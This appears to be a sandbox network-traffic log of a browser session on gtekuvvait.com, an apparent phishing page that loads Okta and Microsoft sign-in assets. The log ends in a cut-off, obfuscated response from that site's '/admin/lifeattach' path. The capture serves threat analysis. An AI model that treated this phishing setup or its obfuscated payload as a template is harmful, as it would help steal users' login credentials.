2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c Data Ascii: x;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:top}#okta-sign-in [class="-48"]:after,#okta-sign-in [class="-48"]:before,#okta-sign-in [class^="-48"]:after,#okta-sign-in [class^="-48"]:before{speak:none;-webkit-font-smoothing:antial
2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 37 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 64 76 61 6e 63 65 64 2d 73 73 6f 2d 31 36 2d 62 6c 75 65 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 38 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 38 63 38 63 39 36 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 32 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 2e 61 63 74 69 76 65 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 34 63 62 66 39 Data Ascii: cc0;content:"\e017"}#okta-sign-in .advanced-sso-16-blue:after{color:#5e5e5e;content:"\e018"}#okta-sign-in .bookmark-16:before{color:#8c8c96;content:"\e02a"}#okta-sign-in .bookmark-16-green.active:before,#okta-sign-in .bookmark-16-green:before{color:#4cbf9
2024-10-01 13:08:27 UTC	15897	IN	Data Raw: 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 62 62 62 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 30 20 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 32 29 3b 6c 65 66 74 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 32 70 78 3b 77 69 64 74 68 3a 34 31 37 70 78 3b 7a 2d 69 6e 64 65 78 3a 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 20 2e 6f 70 74 69 6f 6e 73 20 6c 69 2e 6f 70 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 61 65 61 65 61 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 6e Data Ascii: fff;border:1px solid #bbb;box-shadow:0 2px 0 hsla(0,0%,63%,.2);left:0;list-style:none;padding:0;position:absolute;top:2px;width:417px;z-index:4}#okta-sign-in .dropdown .options li.option{background:#fff;border-bottom:1px solid #eaeaea;display:block;paddin
2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 68 7a 6e 2d 72 74 6c 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 36 70 78 20 32 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 2e 63 68 7a 6e 2d 72 74 6c 2e 63 68 7a 6e 2d 77 69 74 68 2d 64 72 6f 70 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 32 70 78 20 32 70 78 7d 40 6d 65 64 69 61 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 Data Ascii: kta-sign-in .chzn-container-single.chzn-rtl .chzn-single div b{background-position:6px 2px}#okta-sign-in .chzn-container-single.chzn-rtl.chzn-with-drop .chzn-single div b{background-position:-12px 2px}@media (-webkit-min-device-pixel-ratio:2),(min-resolut
2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6f 2d 66 6f 72 6d 2d 74 68 65 6d 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 69 6d 70 6c 65 6d 6f 64 61 6c 2d 77 72 61 70 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 2e 6f 2d 66 6f 72 6d 2d 74 68 65 6d 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 64 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 31 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 33 2d 34 20 2e 6f 2d 66 6f 72 6d 2d 6c 61 62 65 6c 7b 77 69 64 74 68 3a 32 35 25 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 33 2d 34 20 2e 6f 2d 66 6f 72 6d 2d 69 6e 70 75 74 7b 77 69 64 74 68 3a 37 35 25 7d 23 6f Data Ascii: l-container .o-form-theme,#okta-sign-in .simplemodal-wrap .o-form-content.o-form-theme{border-color:#ddd;border-radius:0;border-width:0 1px;padding:30px}#okta-sign-in .o-form-3-4 .o-form-label{width:25%}#okta-sign-in .o-form-3-4 .o-form-input{width:75%}#o
2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 6c 69 6e 65 2b 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 37 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 38 63 38 63 39 36 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 68 65 69 67 68 74 3a 34 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 5b 64 69 73 61 62 6c 65 64 5d 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 Data Ascii: line+.input-fix input[type=text]{line-height:27px}#okta-sign-in .o-form .input-fix,#okta-sign-in .o-form .textarea-fix{border:1px solid #8c8c96;display:inline-block;float:left;height:40px}#okta-sign-in .o-form .input-fix input[disabled],#okta-sign-in .o-f
2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 61 72 79 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 35 65 64 66 62 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 3b 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 75 74 74 6f 6e 2d 73 65 63 6f 6e 64 Data Ascii: gin-bottom:25px}#okta-sign-in .button-secondary.link-button:active,#okta-sign-in .button-secondary.link-button:focus,#okta-sign-in .button-secondary.link-button:hover{background-color:#e5edfb;border-color:#124a94;color:#124a94}#okta-sign-in .button-second
2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 74 20 2e 63 6f 6e 73 65 6e 74 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 70 7b 63 6f 6c 6f 72 3a 23 36 65 36 65 37 38 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 63 6f 6e 73 65 6e 74 2d 66 6f 6f 74 65 72 20 61 7b 63 6f Data Ascii: t .consent-description p{color:#6e6e78}#okta-sign-in .consent-required .consent-footer,#okta-sign-in .granular-consent .consent-footer{text-align:center}#okta-sign-in .consent-required .consent-footer a,#okta-sign-in .granular-consent .consent-footer a{co
2024-10-01 13:08:27 UTC	16384	IN	Data Raw: 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 66 69 65 6c 64 73 65 74 2d 63 6f 6e 74 61 69 6e 65 72 20 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 Data Ascii: -in .enroll-u2f-form .o-form-fieldset-container p,#okta-sign-in .enroll-webauthn-form .o-form-fieldset-container p,#okta-sign-in .verify-u2f-form .o-form-fieldset-container p,#okta-sign-in .verify-webauthn-form .o-form-fieldset-container p{margin-bottom:1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49773	13.33.187.96	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	606	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Thu, 19 Sep 2024 18:49:27 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Fri, 19 Sep 2025 18:49:27 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 3e79abe3bfc4a431738eb9199cb216f6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: -rYwXDGw9SeWN7leJf3wXV0YldiA2kD0q9Joc9AUx65sNxPA_nJxMw== Age: 1016340
2024-10-01 13:08:27 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49772	13.33.187.96	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	608	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	684	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Mon, 23 Sep 2024 08:39:47 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Tue, 23 Sep 2025 08:39:47 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 45e3ccd889272a7e8732f0eda13e87ca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: t-vtkceC_COVmV5aq32_X1vC0EqyKT2UR4Pi_JnHoaHVvnY7MkWcgA== Age: 707320
2024-10-01 13:08:27 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49766	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	654	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16438331 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Tue, 01 Oct 2024 13:08:27 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-10-01 13:08:27 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49776	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	815	OUT	GET /zuprivater/Xdrrwwipj/admin/lifeattach HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; PHPSESSID=59af271c130d7fcd9b183463b4579638
2024-10-01 13:08:29 UTC	988	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ruUr9NmUx%2FyEK2QB%2BiigyEZE%2B%2Bd9lyKgung1uHmnG56nUITB9GAMahi9DYZ82kMhBKh0Ef%2FRld0y1PmVFN0q0FeUN%2BmmWyez1WbF5KwTNEYvV7PrG%2BwVfDXes6sWXO0rgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cbcae77eba4c3ff-EWR
2024-10-01 13:08:29 UTC	381	IN	Data Raw: 64 66 32 0d 0a 6a 52 6c 53 77 30 45 52 5a 68 58 54 75 4a 6c 64 61 52 46 61 44 4a 6d 4d 6b 68 32 54 47 6c 55 4e 53 64 46 65 36 64 31 56 5a 4e 6a 59 45 56 30 64 68 78 6d 54 61 52 6d 62 43 46 6e 56 73 46 30 64 4f 68 55 56 35 39 30 52 46 64 6e 54 56 6c 54 56 6b 52 6b 56 75 4e 6c 52 53 4e 48 56 56 46 54 4e 58 64 31 5a 34 45 47 53 53 52 6e 59 44 4a 30 63 5a 64 56 4e 75 42 31 55 4b 78 6d 59 70 6c 30 4b 44 70 47 65 76 70 31 56 47 74 47 55 6e 39 47 4f 6a 4e 6a 55 31 49 32 52 56 64 57 59 58 46 56 4f 4a 31 6d 55 73 70 56 62 47 46 6a 59 49 4a 6c 5a 5a 4e 6a 54 36 6c 6b 61 31 38 47 5a 48 46 7a 63 6c 4a 6a 57 32 4a 6d 62 52 52 6e 57 74 5a 45 64 68 64 46 65 31 38 6b 62 4f 68 6d 59 75 31 45 64 6a 4a 6a 56 35 46 32 56 5a 64 44 54 58 46 6a 65 4d 68 6c 55 73 56 47 53 52 52 Data Ascii: df2jRlSw0ERZhXTuJldaRFaDJmMkh2TGlUNSdFe6d1VZNjYEV0dhxmTaRmbCFnVsF0dOhUV590RFdnTVlTVkRkVuNlRSNHVVFTNXd1Z4EGSSRnYDJ0cZdVNuB1UKxmYpl0KDpGevp1VGtGUn9GOjNjU1I2RVdWYXFVOJ1mUspVbGFjYIJlZZNjT6lka18GZHFzclJjW2JmbRRnWtZEdhdFe18kbOhmYu1EdjJjV5F2VZdDTXFjeMhlUsVGSRR
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 4f 42 6e 57 48 56 31 63 61 64 6b 56 77 6b 31 56 73 4e 33 59 35 68 58 62 68 64 46 5a 71 6c 46 57 43 42 54 59 58 6c 54 64 4d 64 6b 57 77 70 31 4d 57 6c 6e 57 54 68 58 62 69 4a 54 4f 77 6f 46 57 4a 4e 58 59 48 5a 46 61 61 64 6b 56 35 78 30 52 6f 35 32 59 74 6c 54 4d 6a 4e 45 65 30 6c 31 56 73 56 48 54 48 46 44 62 69 35 57 56 7a 4a 57 62 47 4a 44 54 49 35 45 62 5a 4e 6a 55 77 4a 6d 4d 30 4d 33 59 7a 59 46 64 69 64 6c 52 35 56 47 57 30 74 57 59 59 35 30 64 69 64 6b 52 31 38 55 62 4b 4e 6e 59 79 34 6b 63 6d 64 6c 52 78 6f 31 52 73 5a 48 54 48 35 45 61 69 35 6d 57 6f 4e 57 65 34 64 33 59 74 6c 6a 62 6a 31 6d 56 36 4e 57 65 34 4a 54 59 58 4a 46 62 69 4e 44 64 72 46 47 57 4f 64 6e 59 48 5a 55 4e 50 31 47 62 31 4a 32 52 73 56 6e 57 54 46 54 61 69 64 55 4f 71 46 6d Data Ascii: 